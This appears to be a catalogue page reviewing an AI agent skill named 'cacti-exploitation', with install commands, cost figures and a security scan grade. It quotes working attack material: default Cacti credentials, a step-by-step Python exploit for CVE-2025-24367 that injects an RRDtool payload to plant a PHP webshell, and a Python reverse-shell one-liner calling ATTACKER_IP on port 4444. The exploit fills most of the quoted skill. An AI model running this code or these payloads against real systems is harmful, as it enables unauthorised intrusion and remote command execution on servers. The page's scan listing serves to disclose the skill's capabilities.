Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add allsmog/blackbox-claude-plugin --skill cacti-exploitationgit clone --depth 1 https://github.com/allsmog/blackbox-claude-pluginWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/cacti-exploitation)<a href="https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/cacti-exploitation"><img src="https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/cacti-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/cacti-exploitation"><img src="https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/cacti-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00053 | $0.02106 |
| Opus 5 | $0.00026 | $0.01053 |
| Sonnet 5 | $0.00011 | $0.00421 |
| Haiku 4.5 | $0.00005 | $0.00211 |
Grade A, and why
cacti-exploitation scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s http://target/cacti/include/cacti_version Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i" How it starts
The opening of the file, as written. The whole thing — 253 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cacti Exploitation
Overview
Cacti is a PHP-based network monitoring tool that uses RRDtool for graphing. It has multiple known vulnerabilities including authenticated RCE and unauthenticated command injection.
Version Detection
# Check version file
curl -s http://target/cacti/include/cacti_version
# Or from login page source
curl -s http://target/cacti/ | grep -i version
# Check common paths
curl -s http://target/cacti/index.php
curl -s http://target/cacti/graph_view.php
Default Credentials
| Username | Password | Notes |
|---|---|---|
| admin | admin | Default installation |
| admin | cacti | Alternative default |
| guest | guest | Guest account |
| admin | (empty) | Some versions |
CVE-2025-24367: Authenticated RCE via Graph Templates
Vulnerability
Authenticated users with permission to edit graph templates can inject arbitrary RRDtool commands via the right_axis_label parameter. RRDtool then writes PHP code to files in the web directory.
Requirements
- Valid Cacti credentials (any user with graph template edit access)
- Write access to web directory
Exploitation Steps
Step 1: Login and Get CSRF Token
import requests
import re
session = requests.Session()
url = "http://target/cacti"
# Get CSRF token
res = session.get(f"{url}/index.php")
csrf = re.search(r"sid:[a-z0-9]+,[a-z0-9]+", res.text).group(0)
# Login
data = {
"__csrf_magic": csrf,
"action": "login",
"login_username": "marcus",
"login_password": "wonderful1"
}
session.post(f"{url}/index.php", data=data, allow_redirects=True)
Step 2: Get Graph Template Info
# Access graph template 226 (or any valid template ID)
t226 = session.get(f"{url}/graph_templates.php?action=template_edit&id=226")
csrf = re.search(r"sid:[a-z0-9]+,[a-z0-9]+", t226.text).group(0)
gtg_id = re.search(r'graph_template_graph_id.*?value="(\d+)"', t226.text).group(1)
Step 3: Inject RRDtool Payload
# PHP webshell - uses numeric parameter to avoid quote filtering
# Access with: http://target/cacti/shell.php?1=id
php_code = "<?=system($_REQUEST[1]);?>"
# RRDtool injection payload
payload = f"""XXX
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph shell.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:{php_code}
"""
data = {
"__csrf_magic": csrf,
"name": "Unix - Logged in Users",
"graph_template_id": "226",
"graph_template_graph_id": gtg_id,
"save_component_template": "1",
"title": "|host_description| - Logged in Users",
"vertical_label": "users",
"image_format_id": "3",
"height": "200",
"width": "700",
"base_value": "1000",
"slope_mode": "on",
"auto_scale": "on",
"auto_scale_opts": "2",
"auto_scale_rigid": "on",
"upper_limit": "100",
"lower_limit": "0",
"right_axis": "",
"right_axis_label": payload, # INJECTION POINT
"right_axis_format": "0",
"right_axis_formatter": "0",
"left_axis_formatter": "0",
"auto_padding": "on",
"tab_width": "30",
"legend_position": "0",
"legend_direction": "0",
"rrdtool_version": "1.7.2",
"action": "save"
}
session.post(f"{url}/graph_templates.php?header=false", data=data)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 10d ago First seen · 253 lines · 53 tokens per session scan A f86e5c83e29b
cacti-exploitation is a skill published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 53 tokens to every session and 2,106 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
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